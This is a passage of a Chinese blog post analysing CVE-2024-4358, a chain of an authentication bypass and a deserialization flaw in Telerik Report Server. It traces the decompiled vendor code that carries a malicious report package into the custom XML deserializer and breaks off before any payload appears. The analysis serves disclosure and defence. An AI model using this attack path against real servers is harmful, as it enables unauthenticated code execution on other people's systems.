白帽故事 · 2024年6月11日

CVE-2024-4358,将反序列化变为未经身份验证的RCE

背景说明

Progress Software的Telerik Report Server是一款功能强大的报表服务器解决方案,具备全面的报告管理功能,可帮助组织创建、部署、交付和管理报告。

reportsample

Progress 前不久发布了一个 CVSS 9.9 的反序列化漏洞公告,但该漏洞需要身份验证。补丁发布后不久,国外研究团队找到了身份验证绕过的方法,但在试图利用一位匿名研究人员发现的反序列化问题时却卡住了,不过在 Soroush Dalili (@irsdl) 的帮助下,他们设法完成了反序列化链,从而实现了完全的非身份验证 RCE。

关于反序列化漏洞的建议:

ZDI

关于身份验证绕过漏洞的建议:

ZDI

漏洞思考过程

反序列化问题是由一位匿名安全研究人员发现并报告的,但由于该漏洞的复杂性,到目前为止还没有发布 PoC。

在本文中将详细介绍完整的预身份验证RCE链,首先会解释 Telerik Report Server 自定义序列化程序的整个内部结构,以及如何通过利用序列化程序机制中一个非常有趣的缺陷来实现任意命令执行,然后将继续解释被最初的研究人员忽视的身份验证绕过。

image-20240611100815093

image-20240611100826604

故事开始

当我们将报告发送到服务器时,为了让服务器开始处理恶意报告,它会调用Telerik.ReportServer.Engine.Common.ReportDocumentResolver.Resolve,该方法需要 3 个参数,其中前两个对于我们的利用目的很重要,第一个是以字节数组形式发送的报告数据,第二个是扩展名,我们感兴趣的是击中 UnpackageDocument 调用,因此我们需要满足 IsSupportedExtension 条件:

private static IReportDocument Resolve(byte[] reportData, string extension, IProcessingContext context)
{
  if (ReportPackager.IsSupportedExtension(extension))
  {
    return new ReportPackager().UnpackageDocument(new MemoryStream(reportData));
  }
  return ReportDocumentResolver.ResolveAsXmlReportSource(reportData, context);
}

IsSupportedExtension ,它是 Telerik.Reporting.ReportPackager.IsSupportedExtension 的一部分,以下是该方法实现的简化版本:

internal static bool IsSupportedExtension(string extension)
{
  return ReportPackager.extensions.Contains(extension.ToLower());
}

internal const string DefinitionPath = "/definition.xml";

private static readonly string[] extensions = new string[] { ".trdp", ".trbp" };

该方法的机制很简单,如果 extension.trdp.trbp ,则方法返回 true 允许我们点击想要的分支 UnpackageDocument ,那么让我们来分析一下 UnpackageDocument

UnpackageDocument或更广为人知的Telerik.Reporting.ReportPackager.UnpackageDocument(Stream)需要Stream 类型的参数,字节数组已转换为众所周知的 .NET MemoryStream

仔细观察,会发现刚刚创建的内存流被传递给 ZipResourceHandler.FromStream 以创建 Telerik.Reporting.Utils.ZipResourceHandler 类型的对象,可以注意到ZipResourceHandler 类尚未实例化,这意味着 FromStream 必须是静态方法。

public IReportDocument UnpackageDocument(Stream packageStream)
{
  ZipResourceHandler zipResourceHandler = ZipResourceHandler.FromStream(packageStream);
  IReportDocument reportDocument;
  using (Stream stream = zipResourceHandler.Resources["/definition.xml"].CreateReadStream())
  {
    reportDocument = this.serializer.Deserialize(stream, zipResourceHandler);
  }
  return reportDocument;
}

让我们尝试了解这个类的机制及其由 telerik 制作的静态方法。以下是 Telerik.Reporting.Utils.ZipResourceHandler 的简化版本。

乍一看,你会注意到这个类的简单框架,以及可疑的FromStream简单实现,继续查看该方法:

namespace Telerik.Reporting.Utils
{

    internal class ZipResourceHandler : IResourceHandler
    {

        public IConvertersContainer Converters { get; private set; }

        public IDictionary<string, IStreamResource> Resources
        {
            get
            {
                return this.resources;
            }
        }

        public INamingContext NamingContext { get; private set; }

        public ZipResourceHandler(IConvertersContainer converters)
        {
            this.Converters = converters;
            this.NamingContext = new NamingContext();
            this.Converters.Initialize(this, this.NamingContext);
        }

        public static ZipResourceHandler FromStream(Stream stream)
        {
            stream.Position = 0L;
            return new ZipResourceHandler(new ZipReadConverter()).LoadResources(stream);
        }

FromStream 首先实例化 ZipResourceHandler 的一个实例,并为其参数传递 ZipReadConverter 的一个实例,当 ZipResourceHandler 被实例化时,它的LoadResources方法被调用并传递我们的恶意报告内存流对象。

下面是 Telerik.Reporting.Utils.ZipResourceHandler.LoadResources(Stream) 方法的实现,同样实现很简单,内存流被视为一个ZIP对象,它的项目被迭代并添加到名为 Resources:

private ZipResourceHandler LoadResources(Stream stream)
{
  foreach (string text in ZipFile.Open(stream).GetPackageContent())
  {
    this.Resources.Add(text, new ZipResource(stream, text));
  }
  return this;
}

该Dict需要包含 2 个成员的元素,即 System.StringTelerik.Reporting.Interfaces.IStreamResource

public IDictionary<string, IStreamResource> Resources
{
  get
  {
    return this.resources;
  }
}

完美,现在已经了解了 ZipResourceHandler.FromStream 的内部工作原理,让我们回到 UnpackageDocument

填充 zipResourceHandler 变量的 Resources 属性后,下一条语句尝试从恶意 ZIP 文件的根目录检索 definition.xml 的内容:

public IReportDocument UnpackageDocument(Stream packageStream)
{
  ZipResourceHandler zipResourceHandler = ZipResourceHandler.FromStream(packageStream);
  IReportDocument reportDocument;
  using (Stream stream = zipResourceHandler.Resources["/definition.xml"].CreateReadStream())
  {
    reportDocument = this.serializer.Deserialize(stream, zipResourceHandler);
  }
  return reportDocument;
}

现在使用 CreateReadStream 检索该文件的内容,其内容被传递到 this.serializer.Deserialize

等一下! this.serializer 什么时候设置的?好问题!回去看看。

this.serializerTelerik.Reporting.ReportPackager.serializer 类的一部分。

private IXmlSerializer serializer;

不要让 IXmlSerializer 欺骗了你,它不是 .NET 标准 XmlSerializer,它的实际类型是Telerik的 Telerik.Reporting.ReportSerialization.IXmlSerializer

namespace Telerik.Reporting.ReportSerialization
{

    internal interface IXmlSerializer
    {

        string Serialize(IReportDocument value, IResourceHandler resourceHandler);

        IReportDocument Deserialize(Stream stream, IResourceHandler resourceHandler);
    }
}

那么 serializer 是如何初始化的呢?一开始就被初始化了?当执行 Resolve 方法时,会调用 new ReportPackager()

private static IReportDocument Resolve(byte[] reportData, string extension, IProcessingContext context)
{
  if (ReportPackager.IsSupportedExtension(extension))
  {
    return new ReportPackager().UnpackageDocument(new MemoryStream(reportData));
  }
  return ReportDocumentResolver.ResolveAsXmlReportSource(reportData, context);
}

以下是 ReportPackager() 的实现,它只是调用另一个具有相同名称但不同参数的方法,其类型为 IXmlSerializer :

namespace Telerik.Reporting
{

    public class ReportPackager
    {

        internal ReportPackager(IXmlSerializer serializer)
        {
            this.serializer = serializer;
        }

        public ReportPackager()
            : this(new ReportXmlSerializer())
        {
        }

ReportXmlSerializer() 是万恶之源,在查看其易受攻击的 Deserialize() 方法之前,让我们先看看它的构造函数:

namespace Telerik.Reporting.XmlSerialization
{

    public class ReportXmlSerializer : IXmlSerializer
    {

        public ReportXmlSerializer()
        {
            this.serializer = new XmlSerializer(new SerializationSettings
            {
                TypeResolver = TypeResolverFactory.CreateTypeResolver()
            });
        }

        IReportDocument IXmlSerializer.Deserialize(Stream stream, IResourceHandler resourceHandler)
        {
            return (IReportDocument)this.serializer.Deserialize(stream, resourceHandler);
        }
namespace Telerik.Reporting.XmlSerialization
{

    public class ReportXmlSerializer : IXmlSerializer
    {

        public ReportXmlSerializer()
        {
            this.serializer = new XmlSerializer(new SerializationSettings
            {
                TypeResolver = TypeResolverFactory.CreateTypeResolver()
            });
        }

        IReportDocument IXmlSerializer.Deserialize(Stream stream, IResourceHandler resourceHandler)
        {
            return (IReportDocument)this.serializer.Deserialize(stream, resourceHandler);
        }

有经验的人会注意到,构造函数首先实例化 XmlSerializer 的一个实例,然后为其参数实例化一个 TypeResolver,这基本上就是问题的关键所在。

再说一次,不要让 XmlSerializer 欺骗你,这不是标准的 Microsoft .NET XmlSerializer,而是由 telerik 制造的,其全名是 Telerik.Reporting.XmlSerialization.XmlSerializer

让我们分析一下它的内部结构:

public ReportXmlSerializer()
{
    this.serializer = new XmlSerializer(new SerializationSettings
    {
        TypeResolver = TypeResolverFactory.CreateTypeResolver()
    });
}

正如所看到的,当类即将被实例化时,一个 SerializationSettings 类型的参数被传递给它,首先让我们打开 XmlSerializer

仔细观察会注意到此类的构造函数立即调用 base (settings) ,这意味着该构造函数实际上调用了其父类的构造函数,在本例中为 XmlSerializerBase

using System;
using Telerik.Reporting.Serialization;

namespace Telerik.Reporting.XmlSerialization
{

    internal class XmlSerializer : XmlSerializerBase
    {

        public XmlSerializer(SerializationSettings settings)
            : base(settings)
        {
        }

        protected override ObjectWriter CreateObjectXmlWriter(IWriter writer)
        {
            return new ObjectXmlWriter(writer, this.settings);
        }
    }
}

分解 XmlSerializerBase 类,这是该类的完整源代码,我们将感兴趣的部分分离出来:

using System;
using System.IO;
using System.Text;
using System.Xml;
using Telerik.Reporting.Serialization;
using Telerik.Reporting.Utils;

namespace Telerik.Reporting.XmlSerialization
{

    internal class XmlSerializerBase
    {

        public XmlSerializerBase()
            : this(XmlSerializerBase.serializationSettings)
        {
        }

        public XmlSerializerBase(SerializationSettings settings)
        {
            this.settings = settings;
        }

        public string Serialize(object value, string defaultNamespace, IResourceHandler resourceHandler)
        {
            StringBuilder stringBuilder = new StringBuilder();
            string text;
            using (Utf8StringWriter utf8StringWriter = new Utf8StringWriter(stringBuilder))
            {
                this.Serialize(utf8StringWriter, value, defaultNamespace, resourceHandler);
                text = stringBuilder.ToString();
            }
            return text;
        }

        public void Serialize(Stream stream, object value, string defaultNamespace, IResourceHandler resourceHandler)
        {
            using (XmlWriter xmlWriter = XmlWriter.Create(stream, XmlSerializerBase.xmlWriterSettings))
            {
                this.Serialize(xmlWriter, value, defaultNamespace, resourceHandler);
            }
        }

        public void Serialize(string fileName, object value, string defaultNamespace, IResourceHandler resourceHandler)
        {
            using (XmlWriter xmlWriter = XmlWriter.Create(fileName, XmlSerializerBase.xmlWriterSettings))
            {
                this.Serialize(xmlWriter, value, defaultNamespace, resourceHandler);
            }
        }

        public void Serialize(TextWriter writer, object value, string defaultNamespace, IResourceHandler resourceHandler)
        {
            using (XmlWriter xmlWriter = XmlWriter.Create(writer, XmlSerializerBase.xmlWriterSettings))
            {
                this.Serialize(xmlWriter, value, defaultNamespace, resourceHandler);
            }
        }

        public void Serialize(XmlWriter writer, object value, string defaultNamespace, IResourceHandler resourceHandler)
        {
            this.CreateObjectXmlWriter(new XmlWriterWrapper(writer)).Serialize(value, defaultNamespace, resourceHandler);
        }

        public object Deserialize(Stream stream, IResourceHandler resourceHandler)
        {
            object obj;
            using (XmlReader xmlReader = XmlReader.Create(stream, XmlSerializerBase.xmlReaderSettings))
            {
                obj = this.Deserialize(xmlReader, resourceHandler);
            }
            return obj;
        }

        public object Deserialize(string fileName, IResourceHandler resourceHandler)
        {
            object obj;
            using (XmlReader xmlReader = XmlReader.Create(fileName, XmlSerializerBase.xmlReaderSettings))
            {
                obj = this.Deserialize(xmlReader, resourceHandler);
            }
            return obj;
        }

        public object Deserialize(TextReader reader, IResourceHandler resourceHandler)
        {
            object obj;
            using (XmlReader xmlReader = XmlReader.Create(reader, XmlSerializerBase.xmlReaderSettings))
            {
                obj = this.Deserialize(xmlReader, resourceHandler);
            }
            return obj;
        }

        public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
        {
            return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
        }

        protected virtual ObjectReader CreateObjectXmlReader(IReader reader)
        {
            return new ObjectXmlReader(reader, this.settings);
        }

        protected virtual ObjectWriter CreateObjectXmlWriter(IWriter writer)
        {
            return new ObjectWriter(writer, this.settings);
        }

        private static readonly SerializationSettings serializationSettings = new SerializationSettings
        {
            TypeResolver = null
        };

        private static readonly XmlWriterSettings xmlWriterSettings = new XmlWriterSettings
        {
            Indent = true,
            Encoding = Encoding.UTF8,
            NewLineHandling = NewLineHandling.Entitize
        };

        private static readonly XmlReaderSettings xmlReaderSettings = new XmlReaderSettings
        {
            CheckCharacters = false,
            IgnoreComments = true,
            IgnoreProcessingInstructions = true,
            IgnoreWhitespace = true,
            XmlResolver = null
        };

        protected readonly SerializationSettings settings;
    }
}

以下是剥离版本,去掉了 Serialize 方法,只留下了重要的部分。

namespace Telerik.Reporting.XmlSerialization
{

    internal class XmlSerializerBase
    {

        public XmlSerializerBase()
            : this(XmlSerializerBase.serializationSettings)
        {
        }

        public XmlSerializerBase(SerializationSettings settings)
        {
            this.settings = settings;
        }

        public object Deserialize(Stream stream, IResourceHandler resourceHandler)
        {
            object obj;
            using (XmlReader xmlReader = XmlReader.Create(stream, XmlSerializerBase.xmlReaderSettings))
            {
                obj = this.Deserialize(xmlReader, resourceHandler);
            }
            return obj;
        }

        public object Deserialize(string fileName, IResourceHandler resourceHandler)
        {
            object obj;
            using (XmlReader xmlReader = XmlReader.Create(fileName, XmlSerializerBase.xmlReaderSettings))
            {
                obj = this.Deserialize(xmlReader, resourceHandler);
            }
            return obj;
        }

        public object Deserialize(TextReader reader, IResourceHandler resourceHandler)
        {
            object obj;
            using (XmlReader xmlReader = XmlReader.Create(reader, XmlSerializerBase.xmlReaderSettings))
            {
                obj = this.Deserialize(xmlReader, resourceHandler);
            }
            return obj;
        }

        public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
        {
            return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
        }

        protected virtual ObjectReader CreateObjectXmlReader(IReader reader)
        {
            return new ObjectXmlReader(reader, this.settings);
        }

        protected virtual ObjectWriter CreateObjectXmlWriter(IWriter writer)
        {
            return new ObjectWriter(writer, this.settings);
        }

        private static readonly SerializationSettings serializationSettings = new SerializationSettings
        {
            TypeResolver = null
        };

        private static readonly XmlWriterSettings xmlWriterSettings = new XmlWriterSettings
        {
            Indent = true,
            Encoding = Encoding.UTF8,
            NewLineHandling = NewLineHandling.Entitize
        };

        private static readonly XmlReaderSettings xmlReaderSettings = new XmlReaderSettings
        {
            CheckCharacters = false,
            IgnoreComments = true,
            IgnoreProcessingInstructions = true,
            IgnoreWhitespace = true,
            XmlResolver = null
        };

        protected readonly SerializationSettings settings;
    }
}

首先, XmlSerializerBase(SerializationSettings settings) 将简单地填充关键的 this.settings 变量,让我们找出这个变量是什么:

namespace Telerik.Reporting.XmlSerialization
{

    internal class XmlSerializerBase
    {

        public XmlSerializerBase()
            : this(XmlSerializerBase.serializationSettings)
        {
        }

        public XmlSerializerBase(SerializationSettings settings)
        {
            this.settings = settings;
        }

this.settings 也称为 Telerik.Reporting.XmlSerialization.XmlSerializerBase.settings,在使用 Telerik Serializer/Deserializer 时,它保存着非常重要的信息。

protected readonly SerializationSettings settings;

仔细观察会注意到 TypeResolver 属性在这里,如果还记得的话,该属性是在自定义 XmlSerializer 类的实例化期间设置的:

namespace Telerik.Reporting.Serialization
{

    internal class SerializationSettings
    {

        public ITypeResolver TypeResolver { get; set; }

        public bool IncludeDesignProperties { get; set; }

        public SerializationSettings()
        {
            this.IncludeDesignProperties = false;
        }

        public readonly string NullString = "null";
    }
}

回顾一下, XmlSerializer 类被实例化,它是 XmlSerializerBase 的子类,并且这个父类有一个名为 settings 的关键属性,其类型为 SerializationSettings 有一个名为 TypeResolver 的重要属性:

namespace Telerik.Reporting.XmlSerialization
{

    public class ReportXmlSerializer : IXmlSerializer
    {

        public ReportXmlSerializer()
        {
            this.serializer = new XmlSerializer(new SerializationSettings
            {
                TypeResolver = TypeResolverFactory.CreateTypeResolver()
            });
        }

}

现在是时候分析两件重要的事情了:

  1. TypeResolverFactory.CreateTypeResolver() 是什么?
  2. Deserialize 是如何工作的?
namespace Telerik.Reporting.XmlSerialization
{

    public class ReportXmlSerializer : IXmlSerializer
    {

        public ReportXmlSerializer()
        {
            this.serializer = new XmlSerializer(new SerializationSettings
            {
                TypeResolver = TypeResolverFactory.CreateTypeResolver()
            });
        }

        IReportDocument IXmlSerializer.Deserialize(Stream stream, IResourceHandler resourceHandler)
        {
            return (IReportDocument)this.serializer.Deserialize(stream, resourceHandler);
        }
}

让我们看看 CreateTypeResolver 又名 Telerik.Reporting.ReportSerialization.TypeResolverFactory.CreateTypeResolver(),这个类通常看起来是嵌套的:

using System;
using Telerik.Reporting.Serialization;

namespace Telerik.Reporting.ReportSerialization
{

    internal class TypeResolverFactory
    {

        internal static ITypeResolver CreateTypeResolver()
        {
            return TypeResolvers.V1(TypeResolvers.V2(TypeResolvers.V3(TypeResolvers.V3_1(TypeResolvers.V3_2(TypeResolvers.V3_3(TypeResolvers.V3_4(TypeResolvers.V3_5(TypeResolvers.V3_6(TypeResolvers.V3_7(TypeResolvers.V3_8(TypeResolvers.V3_9(TypeResolvers.V4_0(TypeResolvers.V4_1(TypeResolvers.V4_2(TypeResolvers.v2017_3_0(TypeResolvers.v2018_2_0(TypeResolvers.v2018_3_0(TypeResolvers.v2019_1_0(TypeResolvers.v2019_2_0(TypeResolvers.v2020_1_0(TypeResolvers.v2020_2_0(TypeResolvers.v2021_1_0(TypeResolvers.v2021_2_0(TypeResolvers.v2022_3_1(TypeResolvers.Current(TypeResolvers.Unknown()))))))))))))))))))))))))));
        }
    }
}

为了使它更具可读性,这是构建一个 TypeResolver 链,这是从 Telerik Report Server 第一个版本引入的不同受支持类型的集合:

namespace Telerik.Reporting.ReportSerialization
{
    internal class TypeResolverFactory
    {
        internal static ITypeResolver CreateTypeResolver()
        {
            var resolverUnknown = TypeResolvers.Unknown();
            var resolverCurrent = TypeResolvers.Current(resolverUnknown);
            var resolver2022_3_1 = TypeResolvers.v2022_3_1(resolverCurrent);
            var resolver2021_2_0 = TypeResolvers.v2021_2_0(resolver2022_3_1);
            var resolver2021_1_0 = TypeResolvers.v2021_1_0(resolver2021_2_0);
            var resolver2020_2_0 = TypeResolvers.v2020_2_0(resolver2021_1_0);
            var resolver2020_1_0 = TypeResolvers.v2020_1_0(resolver2020_2_0);
            var resolver2019_2_0 = TypeResolvers.v2019_2_0(resolver2020_1_0);
            var resolver2019_1_0 = TypeResolvers.v2019_1_0(resolver2019_2_0);
            var resolver2018_3_0 = TypeResolvers.v2018_3_0(resolver2019_1_0);
            var resolver2018_2_0 = TypeResolvers.v2018_2_0(resolver2018_3_0);
            var resolver2017_3_0 = TypeResolvers.v2017_3_0(resolver2018_2_0);
            var resolverV4_2 = TypeResolvers.V4_2(resolver2017_3_0);
            var resolverV4_1 = TypeResolvers.V4_1(resolverV4_2);
            var resolverV4_0 = TypeResolvers.V4_0(resolverV4_1);
            var resolverV3_9 = TypeResolvers.V3_9(resolverV4_0);
            var resolverV3_8 = TypeResolvers.V3_8(resolverV3_9);
            var resolverV3_7 = TypeResolvers.V3_7(resolverV3_8);
            var resolverV3_6 = TypeResolvers.V3_6(resolverV3_7);
            var resolverV3_5 = TypeResolvers.V3_5(resolverV3_6);
            var resolverV3_4 = TypeResolvers.V3_4(resolverV3_5);
            var resolverV3_3 = TypeResolvers.V3_3(resolverV3_4);
            var resolverV3_2 = TypeResolvers.V3_2(resolverV3_3);
            var resolverV3_1 = TypeResolvers.V3_1(resolverV3_2);
            var resolverV3 = TypeResolvers.V3(resolverV3_1);
            var resolverV2 = TypeResolvers.V2(resolverV3);
            var resolverV1 = TypeResolvers.V1(resolverV2);

            return resolverV1;
        }
    }
}

让我们打开其中一个 TypeResolvers ,这些类型都是为了 Telerik Report Server 的用户可以执行诸如制作形状、图表、交互式输入等操作而引入的boxes、colors等。

reportsample

因此,当注册每一种类型时,用户可以进行报告,因为你可以看到所有类型,并且当存在类型时,就有可能出现不安全的反序列化。

到目前为止,我们知道正在处理一个自定义反序列化器,它支持多种类型以允许用户制作报告,因此名称为 Telerik report server。

现在分析 Deserialize 方法,如果你还记得它是 Telerik.Reporting.XmlSerialization.XmlSerializerBase 类的一部分,但做之前,请记住这一点,有 4 个名为 Deserialize 其中 3 个基本上是最终调用第 4 个的包装器,你可以识别出第 4 个包装器,即最后的那个,也是调用 CreateObjectXmlReader 方法的包装器。

现在你可能会问为什么有这么多 Deserialize 函数,因为他们想要选择如何调用此方法:

  1. 通过 Stream 反序列化
  2. 按文件路径反序列化
  3. 通过 TextReader 反序列化
  4. 通过 XmlReader 反序列化
public object Deserialize(Stream stream, IResourceHandler resourceHandler)
        {
            object obj;
            using (XmlReader xmlReader = XmlReader.Create(stream, XmlSerializerBase.xmlReaderSettings))
            {
                obj = this.Deserialize(xmlReader, resourceHandler);
            }
            return obj;
        }

        public object Deserialize(string fileName, IResourceHandler resourceHandler)
        {
            object obj;
            using (XmlReader xmlReader = XmlReader.Create(fileName, XmlSerializerBase.xmlReaderSettings))
            {
                obj = this.Deserialize(xmlReader, resourceHandler);
            }
            return obj;
        }

        public object Deserialize(TextReader reader, IResourceHandler resourceHandler)
        {
            object obj;
            using (XmlReader xmlReader = XmlReader.Create(reader, XmlSerializerBase.xmlReaderSettings))
            {
                obj = this.Deserialize(xmlReader, resourceHandler);
            }
            return obj;
        }

        public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
        {
            return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
        }

以下是我们感兴趣的 Deserialize 方法,如你所见,它首先通过将我们的报告(作为 XmlReader 对象)传递给它来调用 CreateObjectXmlReader ,然后调用 .Deserialize() 其返回值,请注意,下面调用的具有 resourceHandler 参数的 Deserialize 方法不应与我们迄今为止分析过的许多其它Deserialize方法混淆,你马上就会明白其原因。

public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
{
  return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
}

让我们看看 CreateObjectXmlReader 做了什么,简单地说,它通过传递 this.settings 变量来实例化 ObjectXmlReader 又名 Telerik.Reporting.XmlSerialization.ObjectXmlReader 的实例。

protected virtual ObjectReader CreateObjectXmlReader(IReader reader)
{
  return new ObjectXmlReader(reader, this.settings);
}

看一下 ObjectXmlReader 的定义,构造函数调用父类的构造函数:

namespace Telerik.Reporting.XmlSerialization
{

    internal class ObjectXmlReader : ObjectReader
    {

        public ObjectXmlReader(IReader xmlReader, SerializationSettings settings)
            : base(xmlReader, settings)
        {
        }

        protected override bool ShouldReadElement(object obj, IReader reader)
        {
            IXmlElementReader xmlElementReader = obj as IXmlElementReader;
            if (xmlElementReader != null)
            {
                XmlReaderWrapper xmlReaderWrapper = reader as XmlReaderWrapper;
                if (xmlReaderWrapper == null || xmlElementReader.ReadElement(xmlReaderWrapper.Reader))
                {
                    return false;
                }
            }
            return true;
        }
    }
}

让我们看一下父类 Telerik.Reporting.Serialization.ObjectReader ,我们主要感兴趣的是这个类中的 Deserialize 方法,下面是该类及其方法的完整框架。

readers

using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using Telerik.Reporting.Xml;

namespace Telerik.Reporting.Serialization
{

    internal class ObjectReader : ObjectReaderWriterBase
    {

        public ObjectReader(IReader xmlReader, SerializationSettings settings)
            : base(settings)
        {
            this.reader = xmlReader;
        }

        public object Deserialize(IResourceHandler handler)
        {
            base.ResourceHandler = handler;
            this.reader.Init();
            string defaultNamespace = this.GetDefaultNamespace();
            this.typeResolver = base.GetTypeResolver(defaultNamespace);
            ObjectReader.ValidateTypeResolver(this.typeResolver, defaultNamespace);
            return this.ReadXmlElement(this.reader.Type);
        }

        private static void ValidateTypeResolver(ITypeResolver typeResolver, string defaultNamespace)
        {
            if (typeResolver == null)
            {
                throw new UnsupportedVersionException(defaultNamespace);
            }
        }

        private string GetDefaultNamespace()
        {
            return this.reader.LookupNamespace("");
        }

        private object CreateInstance(Type type)
        {
            string text = null;
            if (this.reader.NodeType == NodeType.Element)
            {
                text = this.reader.GetAttribute("Name");
            }
            return this.CreateInstance(type, text);
        }

        protected virtual object CreateInstance(Type type, string name)
        {
            object obj;
            try
            {
                obj = Activator.CreateInstance(type, this.GetCtorParams(type));
            }
            catch (Exception ex)
            {
                throw new MissingMethodException(string.Format("Type: {0}", type), ex);
            }
            return obj;
        }

        private object[] GetCtorParams(Type type)
        {
            try
            {
                if (type.GetConstructors().Any(delegate(ConstructorInfo c)
                {
                    ParameterInfo[] parameters = c.GetParameters();
                    return parameters.Length == 1 && parameters[0].ParameterType == typeof(IConvertersContainer);
                }))
                {
                    return new object[] { base.ResourceHandler.Converters };
                }
            }
            catch (Exception ex)
            {
                string text = "Error while resolving the Serializable ctors: ";
                Exception ex2 = ex;
                Trace.WriteLine(text + ((ex2 != null) ? ex2.ToString() : null));
            }
            return new object[0];
        }

        private object ReadObject(Type type)
        {
            TypeMapping typeMapping = TypeMapper.GetTypeMapping(type);
            this.OnDeserializing(type);
            object obj;
            if (typeMapping != TypeMapping.Primitive)
            {
                if (typeMapping == TypeMapping.Collection)
                {
                    obj = this.CreateInstance(type);
                    this.ReadCollection(obj);
                }
                else
                {
                    obj = this.CreateInstance(type);
                    bool flag = obj is INamedObject;
                    if (flag)
                    {
                        base.ResourceHandler.NamingContext.StartComponent((INamedObject)obj);
                    }
                    this.ReadProperties(obj);
                    if (flag)
                    {
                        base.ResourceHandler.NamingContext.EndComponent();
                    }
                }
            }
            else
            {
                obj = this.ReadPrimitive(type);
            }
            object deserializedObject = this.GetDeserializedObject(obj);
            this.OnDeserialized(deserializedObject);
            return deserializedObject;
        }

        protected virtual void OnDeserializing(Type type)
        {
        }

        protected virtual void OnDeserialized(object instance)
        {
        }

        private Type ResolveType(string ns, string name)
        {
            Type type;
            if (this.typeResolver.ResolveType(ns, name, out type))
            {
                return type;
            }
            return null;
        }

        private object ReadValue(Type type, string text)
        {
            if (typeof(IConvertible).IsAssignableFrom(type))
            {
                return this.ReadPrimitive(type);
            }
            if (typeof(object) == type && this.reader.NodeType == NodeType.Text)
            {
                return text;
            }
            return this.ReadXmlElement(text);
        }

        private object ConvertFromString(TypeConverter converter, ITypeDescriptorContext context, string text)
        {
            return converter.ConvertFrom(context, base.Culture, text);
        }

        private void ReadValue(object obj, PropertyDescriptor prop)
        {
            base.ResourceHandler.NamingContext.StartProperty(prop.Name);
            object obj2 = null;
            string nodeValue = this.GetNodeValue();
            if (nodeValue == base.Settings.NullString)
            {
                obj2 = null;
            }
            else
            {
                TypeConverter typeConverter = base.GetTypeConverter(prop);
                if (typeConverter != null)
                {
                    obj2 = this.ConvertFromString(typeConverter, this.CreateTypeDescriptorContext(obj, prop), nodeValue);
                }
                else
                {
                    try
                    {
                        if (prop.PropertyType == typeof(Type))
                        {
                            obj2 = Type.GetType(nodeValue);
                        }
                        else
                        {
                            obj2 = Convert.ChangeType(nodeValue, prop.PropertyType, base.Culture);
                        }
                    }
                    catch (Exception ex)
                    {
                        throw new SerializerExcepion(string.Format("The XML serializer cannot resolve type with name: {0}", prop.PropertyType), ex);
                    }
                }
            }
            prop.SetValue(obj, obj2);
            base.ResourceHandler.NamingContext.EndProperty();
        }

        private void ReadAttributes(object obj, PropertyDescriptorCollection props)
        {
            if (this.reader.MoveToFirstAttribute())
            {
                do
                {
                    string text = ObjectReader.ResolveElementName(this.GetPropertyName(this.reader.Name));
                    PropertyDescriptor propertyDescriptor = props[text];
                    if (propertyDescriptor != null)
                    {
                        this.ReadValue(obj, propertyDescriptor);
                    }
                    else if (this.reader.LookupNamespace(text) == null)
                    {
                        string.Format("Attribute {0} not found as a property of the object", this.reader.Name);
                    }
                }
                while (this.reader.MoveToNextAttribute());
            }
            this.reader.MoveToElement();
        }

        private void ReadProperties(object obj)
        {
            this.reader.MoveToContent();
            PropertyDescriptorCollection properties = TypeDescriptor.GetProperties(obj);
            this.ReadAttributes(obj, properties);
            if (!this.reader.IsEmptyElement)
            {
                this.reader.ReadStartElement();
                while (this.reader.NodeType != NodeType.EndElement && this.reader.NodeType != NodeType.None)
                {
                    if (this.ShouldReadElement(obj, this.reader))
                    {
                        if (this.reader.NodeType == NodeType.Element)
                        {
                            string propertyName = this.GetPropertyName(this.reader.Name);
                            PropertyDescriptor propertyDescriptor = properties[propertyName];
                            if (propertyDescriptor != null)
                            {
                                Type propertyType = propertyDescriptor.PropertyType;
                                if (propertyDescriptor.IsReadOnly)
                                {
                                    object value = propertyDescriptor.GetValue(obj);
                                    if (value != null && TypeHelper.IsCollection(value.GetType()))
                                    {
                                        this.ReadCollection(value);
                                    }
                                    else
                                    {
                                        if (value is IResourceSerializable)
                                        {
                                            ((IResourceSerializable)value).Initialize(base.ResourceHandler);
                                        }
                                        this.reader.MoveToObject();
                                        this.ReadProperties(value);
                                    }
                                }
                                else
                                {
                                    this.reader.MoveToObject();
                                    this.ReadProperty(obj, propertyDescriptor, propertyType);
                                }
                            }
                            else
                            {
                                this.reader.Skip();
                            }
                        }
                        else
                        {
                            this.reader.Read();
                        }
                    }
                }
                this.reader.ReadEndObject();
                return;
            }
            this.reader.Skip();
        }

        protected virtual bool ShouldReadElement(object obj, IReader reader)
        {
            return true;
        }

        private object GetDeserializedObject(object value)
        {
            ISerializationSurrogate surrogate = base.GetSurrogate(value);
            if (surrogate != null)
            {
                return surrogate.GetDeserializedObject(value, base.ResourceHandler);
            }
            return value;
        }

        private void ReadProperty(object obj, PropertyDescriptor prop, Type propType)
        {
            this.SkipWhiteSpace();
            if (this.reader.NodeType == NodeType.Text)
            {
                prop.SetValue(obj, this.reader.ReadContentAsString());
                return;
            }
            if (TypeHelper.IsPrimitiveType(propType))
            {
                prop.SetValue(obj, this.ReadPrimitive(propType));
                return;
            }
            object obj2;
            if (TypeHelper.IsCollection(propType))
            {
                obj2 = this.ReadObject(propType);
            }
            else
            {
                string type = this.reader.Type;
                if (!this.reader.IsEmptyElement)
                {
                    this.reader.ReadStartElement();
                }
                string text;
                if (this.reader.NodeType == NodeType.Text && this.reader.Value.Length > 0)
                {
                    text = this.reader.Value;
                }
                else
                {
                    text = this.reader.Type;
                }
                if (text.Equals(base.Settings.NullString))
                {
                    obj2 = null;
                }
                else if (ObjectReaderWriterBase.IsValidConverter(prop.Converter))
                {
                    obj2 = this.ConvertFromString(prop.Converter, this.CreateTypeDescriptorContext(obj, prop), text);
                }
                else
                {
                    obj2 = this.ReadValue(propType, text);
                }
                if (this.reader.NodeType == NodeType.Text)
                {
                    this.reader.Read();
                }
